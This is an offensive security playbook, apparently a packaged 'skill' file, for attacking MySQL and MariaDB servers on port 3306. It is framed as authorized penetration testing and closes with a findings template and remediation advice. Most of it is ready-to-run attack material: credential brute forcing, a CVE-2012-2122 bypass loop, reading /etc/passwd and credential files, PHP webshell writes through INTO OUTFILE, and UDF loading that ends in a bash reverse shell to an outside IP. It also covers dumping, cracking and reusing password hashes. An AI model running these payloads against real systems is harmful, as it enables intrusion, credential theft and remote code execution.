pentesting-mysql

name	pentesting-mysql
description	Testing MySQL / MariaDB database services (default port 3306) for empty/default root credentials, authentication-bypass and version CVEs, FILE-privilege data theft, and the INTO OUTFILE webshell / lib_mysqludf_sys UDF remote-code-execution primitives during authorized engagements.
domain	cybersecurity
subdomain	network-services-pentesting
tags	["penetration-testing","network-services","database","mysql"]
version	1.0
author	xalgorix
license	Apache-2.0

Pentesting MySQL (port 3306)

When to Use

• Default port 3306/tcp; nmap/banner shows mysql, MariaDB, or a greeting like 5.7.x/8.0.x/10.x-MariaDB.
• MySQL is a plain-text protocol (unless TLS is forced), so native clients and NSE scripts interact directly.
• Use when you have network reach to the DB port, recovered creds to reuse, or local shell access to a host running mysqld (sockets, debian.cnf, ~/.my.cnf).

Quick Enumeration

# Version + default scripts (most need creds, but mysql-info/empty-password do not)
nmap -sV -p 3306 --script mysql-info,mysql-empty-password,mysql-enum,mysql-variables,mysql-databases,mysql-users,mysql-dump-hashes,mysql-vuln-cve2012-2122 <IP>

# Consoleless metasploit (version + auth-bypass hashdump)
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS <IP>; run; exit'
msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS <IP>; run; exit'

# Direct connect attempts
mysql -h <IP> -u root              # no password
mysql -h <IP> -u root -p           # prompt for password
mysql -h <IP> -u root@localhost    # some grants only allow localhost

Critical: Checks Most Often Missed

• Empty / default root password — the #1 miss. Try root with empty password and common defaults (root:root, root:toor, root:password).
  • How to CONFIRM: mysql -h <IP> -u root -e 'select user();' returns a session; nmap --script mysql-empty-password -p3306 <IP> reports "account has empty password".
• CVE-2012-2122 auth bypass — repeated logins with any password succeed ~1/256 of the time on vulnerable builds.
  • How to CONFIRM: for i in $(seq 1 1000); do mysql -h<IP> -uroot -pwrong 2>/dev/null && break; done, or nmap --script mysql-vuln-cve2012-2122 -p3306 <IP>, or the mysql_authbypass_hashdump module.
• FILE privilege → arbitrary read + webshell write (INTO OUTFILE) — a user with FILE privilege and empty/permissive secure_file_priv can read server files and drop a PHP shell into a writable webroot.
  • How to CONFIRM: SELECT user,file_priv FROM mysql.user WHERE file_priv='Y'; and SHOW VARIABLES LIKE 'secure_file_priv'; (empty = anywhere). Then SELECT load_file('/etc/passwd'); returns content, or SELECT '<?php system($_GET["c"]);?>' INTO OUTFILE '/var/www/html/x.php'; lands a shell.
• mysqld running as root → UDF RCE (lib_mysqludf_sys) — load a .so/.dll into the plugin dir and create sys_exec to run OS commands as the DB service account.
  • How to CONFIRM: SHOW VARIABLES LIKE '%plugin%'; is writable and select user,Super_priv from mysql.user where Super_priv='Y';; success = select sys_exec('id > /tmp/o'); writes the file.
• Rogue-server arbitrary file read — if a client connects out to you with LOCAL INFILE enabled, a malicious MySQL server reads client files. JDBC Connector/J <= 8.0.32 propertiesTransform gadget gives client-side RCE.

Workflow

Step 1: Enumerate (version, config, capabilities)

nmap -sV -p3306 --script mysql-info,mysql-variables <IP>
# Local host artifacts (if you have shell):
ls -l /run/mysqld/mysqld.sock /etc/mysql/debian.cnf ~/.my.cnf 2>/dev/null
cat /etc/mysql/debian.cnf            # plaintext debian-sys-maint creds

Step 2: Authenticate (empty/default creds, brute force)

mysql -h <IP> -u root                                  # empty password
mysql -S /run/mysqld/mysqld.sock -u root               # local socket (auth_socket bypass)
# Brute force
hydra -L users.txt -P passwords.txt <IP> mysql
nxc mysql <IP> -u users.txt -p passwords.txt
medusa -h <IP> -u root -P passwords.txt -M mysql

Step 3: Exploit / Extract (dump data + FILE/UDF RCE primitive)

-- Recon once connected
select version(); select user(); select @@secure_file_priv;
show databases; SELECT * FROM mysql.user;        -- hashes (mysql_native_password / $mysql-sha2$)
SELECT user,file_priv,Super_priv FROM mysql.user;

-- Arbitrary file READ (needs FILE priv)
SELECT load_file('/var/lib/mysql-files/key.txt');
SELECT load_file('/etc/passwd');

-- Webshell WRITE into webroot (INTO OUTFILE; cannot overwrite existing files)
SELECT '<?php echo shell_exec($_GET["c"]);?>' INTO OUTFILE '/var/www/html/back.php';
-- Windows / XAMPP target
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php';

-- UDF RCE when mysqld runs privileged (lib_mysqludf_sys from sqlmap/metasploit)
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn VALUES(load_file('/tmp/lib_mysqludf_sys.so'));
SHOW VARIABLES LIKE '%plugin%';   -- find @@plugin_dir
SELECT * FROM npn INTO DUMPFILE '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

-- Windows NTFS trick: bootstrap a missing plugin dir via ADS before the UDF drop
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

Step 4: Post-access / privilege escalation / pivot

• Dump mysql.user hashes and crack offline: Hashcat mode 300 (mysql_native_password), 21100 ($mysql-sha2$ / MySQL 8), John --format=mysql-sha2.
• Read hashes from disk: grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD.
• Look for auth_socket/unix_socket plugin on privileged users — an OS user becomes that DB user over the socket with no password.
• Change root password if you have write to mysql.user: UPDATE mysql.user SET authentication_string=PASSWORD('x') WHERE User='root'; FLUSH PRIVILEGES;
• Reuse recovered DB creds / debian.cnf against SSH, SMB, web apps.

Key Concepts

Concept	Description
FILE privilege	Per-user grant required for load_file(), INTO OUTFILE, INTO DUMPFILE.
secure_file_priv	Restricts file I/O to a directory; empty = anywhere, NULL = disabled.
INTO OUTFILE	Writes query output to a new file (cannot overwrite) — webshell drop primitive.
UDF (lib_mysqludf_sys)	User-defined function loaded from a .so/.dll in @@plugin_dir giving sys_exec/sys_eval OS command execution.
auth_socket / unix_socket	Auth plugin mapping an OS user to a DB account over the local socket with no DB password.
LOCAL INFILE / rogue server	A malicious MySQL server can read files from a connecting client.
CVE-2012-2122	Memcmp auth bypass; any password works ~1/256 attempts on vulnerable versions.

Tools & Systems

Tool	Purpose
mysql / mariadb client	Native interactive client for auth, enumeration, file/UDF primitives.
nmap NSE	mysql-info, mysql-empty-password, mysql-enum, mysql-users, mysql-dump-hashes, mysql-vuln-cve2012-2122.
Metasploit	scanner/mysql/mysql_version, mysql_authbypass_hashdump, mysql_hashdump, admin/mysql/mysql_enum, mysql_schemadump.
netexec (nxc)	nxc mysql <IP> -u users -p passwords for spraying/auth.
hydra / medusa	Credential brute force against MySQL login.
sqlmap	Bundles lib_mysqludf_sys payloads (locate "*lib_mysqludf_sys*").
Hashcat / John	Offline cracking of dumped mysql.user hashes (modes 300 / 21100).

Common Scenarios

Scenario 1: Empty root → data theft

nmap --script mysql-empty-password confirms root with no password. mysql -h<IP> -uroot connects; SELECT * FROM mysql.user dumps hashes and SHOW DATABASES exposes application data with reusable secrets.

Scenario 2: FILE privilege → webshell RCE

The app DB user has FILE and secure_file_priv is empty. SELECT '<?php system($_GET["c"]);?>' INTO OUTFILE '/var/www/html/x.php' drops a shell; http://<IP>/x.php?c=id returns www-data.

Scenario 3: Root-run mysqld → UDF reverse shell

mysqld runs as root and the tester has a privileged login. Loading lib_mysqludf_sys.so into the plugin dir and calling sys_exec yields a root reverse shell on the host.

Output Format

## MySQL Finding

**Service**: MySQL
**Port**: 3306/tcp (MariaDB 10.3.23)
**Severity**: Critical
**Finding**: Empty root password with FILE privilege enabling webshell write
**Evidence**:
  - nmap mysql-empty-password: "root account has empty password"
  - `mysql -h<IP> -uroot -e "SELECT user,file_priv FROM mysql.user"` -> root file_priv=Y
  - `SELECT ... INTO OUTFILE '/var/www/html/x.php'` succeeded; /x.php?c=id -> uid=33(www-data)
**Impact**: Unauthenticated database access plus arbitrary file write to the web root yields remote code execution.
**Recommendation**:
  1. Set a strong unique root password and remove anonymous/empty accounts.
  2. Bind MySQL to localhost or restrict 3306 by firewall/source IP.
  3. Set `secure_file_priv` to a non-web directory and revoke FILE from app users.
  4. Run mysqld as an unprivileged account; patch to address CVE-2012-2122.